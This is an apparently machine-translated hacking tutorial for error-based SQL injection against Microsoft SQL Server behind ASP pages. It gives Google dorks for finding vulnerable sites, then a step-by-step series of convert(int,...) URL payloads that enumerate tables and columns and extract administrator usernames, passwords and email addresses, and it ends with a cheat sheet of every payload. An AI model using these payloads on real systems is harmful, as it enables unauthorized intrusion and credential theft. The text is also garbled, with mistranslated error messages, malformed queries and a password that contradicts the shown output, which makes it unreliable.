MSSQL – injection
###########################
1.1 Introduction
1.2 How to ask Vulnerability page?
1.3 How to prove that the site of weakness?
1.4 How to find version / name of the DB?
1.5 How to discover the names table (table_name)?
1.6 How to discover the names of column (column_name)?
1.7 How to get data from tables that interest us (eg name, pass, email, etc.)?
1.8 Conclusion?
[1.1 Introduction]
############
This lesson will try to explain that you already know the different techniques, MSSQL-injection.
Who will have the opportunity to learn how this method is used as a favorite act to obtain information (name, password and login) or various other information through this technique.
MSSQL-injection, can be used for products that are created by well-known company Microsoft.
This type of injection, then deal with those sites that are coded in ASP / Aspks etc.
There are several types of attacks in this way:
* – Normal MSSQL SQL Injection attacks
* – MSSQL injection in Web services (SOAP injection)
* – Union with MSSQL injection attack
* – ODBC error attack the “Convert”
* – MSSQL Blind SQL Injection attacks, etc. ..
For this will be used for writing this type of attack:
“Attack of the ODBC error message” Convert ”
[1.2 How to ask Vulnerability page? ]
############################
How to ask who Vulnerability page is easy. This can use Google services company giant.
Let’s open: Google
I write, for example: inurl: “Boleyn”. “ID”
inurl: “neus.asp” menu ”
inurl: “content.asp” under ”
inurl: “games.asp” ID ”
ETC ….( I decided some examples, you can now use the logic, for better dorks)
[1.3 How to prove that the site of weakness? ]
##################################
So we can understand very easily by adding the following ID page of high comma (,).
And in case that gives us the answer we found no error page means Vulnerability example:
++++++++++++++++++++++++++++++++++++++
/ Microsoft Access ODBC driver /
++++++++++++++++++++++++++++++++++++++
/ Open quotation /
++++++++++++++++++++++++++++++++++++++
/ Microsoft Amos DB provider for Oracle /
++++++++++++++++++++++++++++++++++++++
/ Division by zero in /
++++++++++++++++++++++++++++++++++++++
These are some of the most common response is shown pages that are weaknesses in the MSSQL – injection.
Should now act as an example here, and where to put high ( ‘).
For example:
————————————–
www.localhost.com/news.asp?id=100′
————————————–
Now we can say that the error is displayed:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e14 ‘
Open quotation mark after the character string “) AND (Volgorde> 0) ORDER BY Volgorde ‘.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
This page has weaknesses!
[1.4 How to find version 2.4 / DB name? ]
############################
Let the example easier to understand:
Version:
————————————————– ——————
www.localhost.com/news.asp?id=100+or+1=convert(int,(@@version))–
————————————————– ——————
And we have presented an example:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion failed when converting nvarchar value ‘MS SQL Server 2008 (SP1) – 10.0.2531.0 (64) 29. March 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Edition (64-bit), the operating systems Windows NT 6.0 (Build 6002: Service Pack 2) (SM), a data type Int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
Now go find DB_Name:
————————————————– ——————-
www.localhost.com/news.asp?id=100+or+1=convert(int,(DB_Name ()))–
————————————————– ——————-
eg.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is not EVILZONE_CREW_DB when converting nvarchar value ‘to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
[1.5 How to discover the names table (table_name)]
######################################
Because it is discovered, or simply to find the side of the table goes through this method.
For example:
————————————————– ————————————————– ————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables)) —
————————————————– ————————————————– ————–
And now there will be a mistake, such as:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is when converting nvarchar value of users’ data on the type Int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
That is, in this case the table (table_name) The first is the ‘Users’, now find the following table:
For example:
————————————————– ————————————————– ————————————————
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’)))–
————————————————– ————————————————– ————————————————
And now an error message will appear the same and will give another table:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is not news when converting nvarchar value ‘to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Another table in this case is ‘news’
Now to find the table (table_name) third goes like this:
For example:
————————————————– ————————————————– ————————————————– ———
www.localhost.com/news.asp?id=100+or+1 =convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’,’ news’)))–
————————————————– ————————————————– ————————————————– ———
I appear to us the third table:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is when converting nvarchar value categories’ of data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Then the third table ‘categories’, and so on until you find all the tables.
For example:
————————————————– ————————————————– ————————————————– ——————
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’, ‘news’, ‘Categories’))) —
————————————————– ————————————————– ————————————————– ——————
[1.6 How to discover the names of column (column_name)]
###########################################
-If you want to column_name for users as’ go:
For example:
————————————————– ————————————————– —————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’))–
————————————————– ————————————————– —————————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion failed when converting nvarchar value ‘Name’ to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
So colums name for the table (table_name) ‘Users’ the ‘name’
Now find the column (column_name) other at the same table ‘Users’:
For example:
————————————————– ————————————————– ————————————————– ——————
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’ and column_name (‘ name’)))–
————————————————– ————————————————– ————————————————– ————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is not a password when converting nvarchar value ‘to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Columns name (column_name) the other is ‘password’, now go find a rotating column_name:
For example:
————————————————– ————————————————– ————————————————– ——————
www.localhost.com/news.asp?id=100+or+=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’ and column_name ( ‘name’, ‘password’)))–
————————————————– ————————————————– ————————————————– —————————————
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion failed when converting nvarchar value ’emailaddress’ to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Therefore, the third Colum_name ’emailaddress’ and so on and on until the end, to find all of the columns (column_name)!
[1.7 How to get data that interest you (our user name, pass, email, etc.)]
################################################## ###
To do so you do not have anything to ndyshe we mentioned before.
In this section, all that needs to be done is to table (table_name), and the names of column (column_name) in their earlier results found.
In this section will be used:
Table_name = Users
Column_name = user name, password, emailaddress!
Some have now replaced the example:
————————————————– —————————————–
www.localhost.com/news.asp?id =100+or+1=convert (int,(select top 1 name from Users))–[CODE]
————————————————– —————————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion is not an administrator when converting nvarchar value ‘to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
user name: Administrator
Replacing now the first column “Name” in the second column “password”:
For example:
————————————————– —————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top password from the user 1))–
————————————————– —————————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘
Conversion failed when converting nvarchar value ‘123456 ‘to data type int.
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
password: administratorpassword123
Now, instead of rotating columns works the same as above:
For example:
————————————————– ———————————————
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 from users emailaddress)) —
————————————————– ———————————————
emailaddress: [email protected]
Here then we have achieved some info on, and the name / pass and emailaddress page.
user name: Administrator
password: administratorpassword123
emailaddress: [email protected]
[ 1.8 Conclusion ]
############
================================================== ===========================
www.localhost.com/news.asp?id=100′
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(@@version))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(db_name()))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’)))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’ , ‘members’)))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’ , ‘members’ , ‘categories’)))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’))–
————————————————————————————————————————————————————————–
www.ocalhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’ and column_name not in (‘username’)))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’ and column_name not in (‘username’ , ‘password’)))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 username from Users))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 password from Users))–
————————————————————————————————————————————————————————–
www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 emailaddress from Users))–
================================================== ===========================